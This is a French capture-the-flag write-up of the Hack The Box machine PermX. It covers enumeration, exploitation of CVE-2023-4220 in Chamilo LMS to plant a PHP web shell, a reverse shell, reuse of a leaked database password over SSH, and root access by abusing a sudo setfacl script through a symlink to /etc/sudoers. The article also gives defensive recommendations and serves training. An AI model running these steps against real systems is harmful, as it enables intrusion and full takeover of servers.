Hack The Box PermX : Hack d’un serveur Linux via un CMS obsolète

I. Présentation

Dans cet article, je vous propose de suivre la démarche pour compromettre le système Permx dans le cadre d'un exercice Hack The Box de difficulté "facile".

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelés "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active Directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs ! 🙂

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et de ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies abordées	LMS Chamilo, Linux, Sudo, PHP
Outils utilisés	nmap, whatweb, curl, nuclei, CVE-2023-4220, PHP

Retrouvez tous nos articles Hack The Box via ce lien :

• IT-Connect - Articles Hack The Box

II. Résolution de la box Permx

A. Découverte et énumération

Nous commençons bien sûr notre analyse en recherchant les principaux services exposés par notre cible à l'aide de l'outil "nmap" :

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ nmap -F --max-retries 1 -T4 --open -Pn -sV 10.10.11.23 -oA nmap-FastVersion

Nmap scan report for 10.10.11.23
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52

Nous retrouvons ici des ports assez classiques pour un OS Linux, un service d'accès à distance SSH (TCP/22) ainsi qu'un service web en écoute sur le port TCP/80.

Si vous souhaitez en apprendre plus sur la maitrise de l'outil de scan réseau "nmap", je vous oriente vers notre cours complet à ce sujet :

• IT-Connect : Maîtrisez Nmap pour la cartographie réseau et le scan de vulnérabilités

J'utilise à présent l'outil en ligne de commande "curl" pour requêter rapidement le service et voir les premières informations retournées dans ses en-têtes :

$ curl -I http://10.10.11.23/

HTTP/1.1 302 Found
Date: Mon, 19 Aug 2024 20:08:07 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://permx.htb
Content-Type: text/html; charset=iso-8859-1

Nous observons une redirection 302 vers le vHost "permx.htb". La première chose à faire pour pouvoir discuter avec ce vhost est de l'ajouter à notre configuration DNS locale : le fichier "/etc/hosts" :

$ sudo vim /etc/hosts

10.10.11.23 permx.htb

Avant même d'aller voir à quoi ressemble l'application web hébergée sur ce service web, il faut toujours avoir le réflexe de faire une recherche par dictionnaire de potentiels vhost additionnels pouvant être hébergés sur le même service web.

Technique d'attaque (MITRE ATT&CK) : T1595.003 - Active Scanning: Wordlist Scanning

Plusieurs outils peuvent être utilisés pour cela, j'opte de mon côté pour l'outil de fuzzing "ffuf" qui permet de jouer avec le contenu de l'en-tête "Host:", caractéristique de l'HTTP/1.1, ainsi qu'un dictionnaire de sous-domaines provenant de SecLists :

$ ffuf -w $S/Discovery/DNS/subdomains-top1million-20000.txt -u http://permx.htb -H "Host: FUZZ.permx.htb" -fc 302
[...]
www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 93ms]
lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 956ms]

Cette énumération me permet de retrouver deux vhosts complémentaires, que j'ajoute également à mon fichier "/etc/hosts" :

$ sudo vim /etc/hosts
10.10.11.23 permx.htb lms.permx.htb www.permx.htb

Toujours sans ouvrir mon navigateur, j'utilise l'outil en ligne de commande "whatweb" pour obtenir rapidement des informations techniques sur ces différentes applications web de manière un peu plus structurée que via "curl". Cela permet de rapidement de constater si deux sous-domaines atterrissent sur la même application ou non :

$ whatweb lms.permx.htb
http://lms.permx.htb [200 OK] Apache[2.4.52], Bootstrap, Chamilo[1], Cookies[GotoCourse,ch_sid], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], HttpOnly[GotoCourse,ch_sid], IP[10.10.11.23], JQuery, MetaGenerator[Chamilo 1], Modernizr, PasswordField[password], PoweredBy[Chamilo], Script, Title[PermX - LMS - Portal], X-Powered-By[Chamilo 1], X-UA-Compatible[IE=edge]

$ whatweb www.permx.htb
http://www.permx.htb [200 OK] Apache[2.4.52], Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], JQuery[3.4.1], Script, Title[eLEARNING]

$ whatweb permx.htb
http://permx.htb [200 OK] Apache[2.4.52], Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], JQuery[3.4.1], Script, Title[eLEARNING]

Visiblement, les domaines "permx.htb" et "www.permx.htb" sont les mêmes, alors que "lms.permx.htb" héberge un autre type d'application. Les en-têtes récupérés sont, en effet, explicites : "PoweredBy[Chamilo]".

B. Analyse automatisée et exploitation

J'utilise ensuite l'outil de recherche de vulnérabilité "nuclei" qui va me permettre de réaliser de manière automatique un très grand nombre de tests concernant des fichiers classiques pouvant trainer sur le serveur, des défauts de configuration connus ou la présence de CVE :

Technique d'attaque (MITRE ATT&CK) : T1595.002 - Active Scanning: Vulnerability Scanning

J'ai ici effectué un filtre sur les criticités medium, high et critical pour ne pas faire figurer dans ma sortie les éléments classiques comme les défauts de configuration SSL, les en-têtes de sécurité manquants, etc.

Si vous souhaitez en apprendre plus sur cet outil, je vous oriente vers notre article dédié à la maitrise de "nuclei" :

• IT-Connect : Comment utiliser Nuclei pour rechercher des vulnérabilités dans une application web ?

Encore une fois, cet outil est très utile puisqu'il découvre deux vulnérabilités. La première est notée medium et concerne la présence de la CVE-2023-4220 sur la cible :

D'après la description, un attaquant non authentifié peut exécuter des commandes système en déposant un fichier via l'application web "Chamilo LMS", plutôt sérieux donc. Nous pouvons en apprendre plus sur la méthode de découverte et d'exploitation de cette CVE en lisant le code du template "nuclei" chargé de sa vérification :

Ce template tente de déposer un fichier ".txt" via une requête POST sur le point d'entrée "/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported", puis affiche un succès s'il parvient à l'atteindre dans un répertoire précis. Si l'on requête le fichier ".txt" indiqué par "nuclei", nous obtenons effectivement un bout de texte aléatoire :

$ curl http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/teukRuT86P.txt

dc36f18a9a0a776671d4879cae69b551

Cela prouve que dans le cadre de son analyse, Nuclei est bien parvenu à exploiter cette vulnérabilité. Je réutilise la requête HTTP POST de ce template pour déposer un web shell PHP classique sur la cible.

En cybersécurité offensive, un web shell est un bout de code déposé par l'attaquant qui va recevoir des instructions via des paramètres GET ou POST pour ensuite exécuter des commandes système sur le serveur. Cela permet à l'attaquant d'avoir un "shell asynchrone" sur le serveur.

Technique d'attaque (MITRE ATT&CK) : T1105 - Ingress Tool Transfer

J'ouvre l'outil BurpSuite pour construire manuellement ma requête HTTP et obtenir la réponse du serveur, ce qui est plus pratique que via "curl" :

Vous pouvez notamment voir dans cette image le code source de mon web shell PHP qui va utiliser la fonction native "system()" pour exécuter des commandes systèmes. Visiblement, l'opération est un succès, je tente ensuite de joindre mon web shell via "curl" avec la commande "whoami; uname -a".

$ curl "http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/webshell001.php?cmd=whoami;uname%20-a"
www-data
Linux permx 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

Cela permet de valider la présence de cette CVE et d'avoir une exécution de commande sur le serveur.

C. Mise en place d'une persistance via reverse shell

Je réitère exactement la même opération pour, cette fois-ci, déposer un revesre shell.

Un reverse shell est une technique où un attaquant exécute du code malveillant sur une machine cible pour établir une connexion inversée (de la cible vers l'attaquant). Contrairement au webshell, qui attend des commandes sur le serveur, le reverse shell fait en sorte que la machine compromise initie une connexion vers l'attaquant. Une fois la connexion établie, l'attaquant peut envoyer des commandes et exécuter des actions comme s'il était directement connecté à un terminal de celle-ci, donc de manière interactive.

Je me base pour cela sur un reverse shell PHP connu (pentestermonkey/php-reverse-shell.php), dans lequel il faut bien sûr modifier son adresse IP et son port d'écoute :

Technique d'attaque (MITRE ATT&CK) : T1059 - Command and Scripting Interpreter

Après dépôt du reverse shell sur le serveur via la CVE-2023-4220, j'exécute le script PHP et reçoit sur le port TCP/1234 de mon poste d'attaque la connexion, j'obtiens ainsi un shell interactif sur le système cible :

Je dispose maintenant d'un shell interactif sur la cible en tant que l'utilisateur "www-data".

Technique d'attaque (MITRE ATT&CK) : T1083 - File and Directory Discovery

Je commence par rechercher dans le répertoire de l'application web des configurations pouvant contenir des mots de passe, par exemple, celui utilisé pour la connexion vers la base de données :

$ cd /var/www/chamilo/app/config
$ grep passw -ri *

Cette recherche rapide permet effectivement d'obtenir un mot de passe.

D. Accès SSH et élévation de privilège via sudo

Également, lister le contenu du répertoire "/home" de la cible me permet d'apprendre l'existence de l'utilisateur "mtz", sur lequel je teste le mot de passe obtenu via l'accès SSH :

Technique d'attaque (MITRE ATT&CK) :  T1021.004 - Remote Services: SSH

Succès, nous venons de compromettre un utilisateur valide sur le système ! L'une des premières opérations à mener suite à une première compromission consiste à lister les permissions exceptionnelles dont pourrait disposer notre utilisateur (sudo, appartenance à des groupes privilégiés, etc.) :

mtz@permx:~$ sudo -l
[…]
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh

L'utilisateur "mtz" peut visiblement exécuter le script custom "/opt/acl.sh" en tant que "root" via "sudo", regardons son code source :

mtz@permx:~$ cat /opt/acl.sh

!/bin/bash

if [ "$#" -ne 3 ]; then
  /usr/bin/echo "Usage: $0 user perm file"
  exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == .. ]]; then
  /usr/bin/echo "Access denied."
  exit 1
fi

Check if the path is a file

if [ ! -f "$target" ]; then
  /usr/bin/echo "Target must be a file."
  exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

Ce script commence par vérifier qu'il a bien reçu trois paramètres de la part de l'utilisateur, puis vérifier si le paramètre "target" commence bien par "/home/mtz/" et ne contient pas de "..", ce qui permet généralement de remonter dans l'arborescence de fichier. Il refusera tout traitement si ce n'est pas le cas. Ensuite, il vérifie que le chemin indiqué dans le paramètre "$target" est bien un fichier existant, puis utilise le binaire "setfacl" pour modifier les paramètres de ce fichier.

Ce script permet donc à l'utilisateur "mtz" de modifier les permissions de n'importe quel fichier se trouvant dans son répertoire "/home", même si celui-ci ne lui appartient pas. Le contrôle de sécurité principal réside ici bien sûr dans la vérification que le chemin passé en paramètre 3 commence bien par "/home/mtz". Sans cela, l'utilisateur non privilégié "mtz" pourrait modifier n'importe quel fichier du système de fichiers, y compris ceux appartenant à l'utilisateur "root".

Technique d'attaque (MITRE ATT&CK) : T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Cette vérification contient cependant une faiblesse. L'utilisation d'un wildcard ("*") dans une règle de sécurité est toujours hautement périlleux. Voici un exemple :

Je décide de créer un lien symbolique du fichier "/home/mtz/customroot" vers la racine du système de fichier ("/")

ln -s / customroot

Il faut au passage se renseigner sur le format des paramètres attendus par "setfacl", une commande native Linux (die.net - setfacl). J'utilise ensuite mes droits "sudo" pour ajouter les droits de lecture au fichier protégé "/etc/sudoers", mais en passant par mon lien symbolique :

sudo /opt/acl.sh mtz rw /home/mtz/customroot/etc/sudoers

Toutes les vérifications sont respectées, mon fichier existe et le chemin passé en paramètre commence bien par "/home/mtz". En résultat, j'obtiens la possibilité de modifier le fichier "/etc/sudoers" en tant que "mtz" :

vim /etc/sudoers

J'en profite pour configurer une délégation beaucoup plus permissive :

mtz ALL=(ALL:ALL) NOPASSWD: ALL

Ainsi, je peux ensuite utiliser la commande sudo avec "su" pour élever mes privilèges de manière complète et durable sur le système en obtenant un shell interactif en tant que "root" :

Nous sommes à présent maître du système !

III. Notions abordées

A. Côté attaquant

Cet exercice est particulièrement orienté sur la prise d'information et la bonne utilisation de ces informations. Il s'agit d'un cas très classique d'exploitation et de progression sur un système Linux. Il est très important d'avoir une démarche de prise d'information et d'énumération complète et de ne pas foncer tête baisser sur le premier élément que l'on croise. Ici, il aurait, par exemple, été inutile et particulièrement chronophage de tenter d'exploiter le vhost principal hébergé sur l'application web.

Voici les différentes ressources de notre site qui pourront vous aider à aller plus loin sur les éléments, outils et techniques abordés dans ce cours :

• IT-Connect - Recherche rapide dans la base Exploit-DB avec searchsploit
• IT-Connect : Comment utiliser Nuclei pour rechercher des vulnérabilités dans une application web ?
• IT-Connect : Maîtrisez Nmap pour la cartographie réseau et le scan de vulnérabilités
• IT-Connect : GTFOBins : Evitez les erreurs de configuration dangereuses sous Linux

Enfin, voici les TTP du framework MITRE ATT&CK qui ont été utilisés lors de cet exercice. Je vous invite également à consulter cette ressource pour approfondir ces différentes techniques :

• T1046 - Network Service Discovery
• T1595.003 - Active Scanning: Wordlist Scanning
• T1595.002 - Active Scanning: Vulnerability Scanning
• T1105 - Ingress Tool Transfer
• T1059 - Command and Scripting Interpreter
• T1083 - File and Directory Discovery
• T1021.004 - Remote Services: SSH
• T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : il peut être recommandé de mettre à jour régulièrement les logiciels et de surveiller les vulnérabilités. Les correctifs de sécurité doivent être appliqués dès qu'ils sont disponibles. Nous pouvons citer en appui la directive n°34 du Guide d'hygiène informatique de l'ANSSI : "Définir une politique de mise à jour des composants du système d’information".

Recommandation n°2 : il doit également être recommandé de ne pas réutiliser des mots de passe entre plusieurs comptes ou services. Ici, le mot de passe de Chamilo LMS à la base de données est réutilisé par le compte utilisateur "mtz", ce qui a permis d'obtenir un accès SSH au système. Chaque mot de passe doit être robuste et unique.

Recommandation n°3 : l'utilisation du mécanisme d'élévation de privilège sudo est à manier avec prudence. De nombreux abus sont possibles lorsque l'on utilise des binaires et des scripts "customs", et même quand lorsque l'on utilise des binaires tout à fait légitimes et à jour ! Ces cas d'abus doivent être connus des administrateurs système afin d'éviter de les retrouver dans des configurations de production. Je vous oriente vers l'article concernant GTFOBins indiqué précédemment.

IV. Conclusion

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !

Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy en plus de nos contenus. Utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy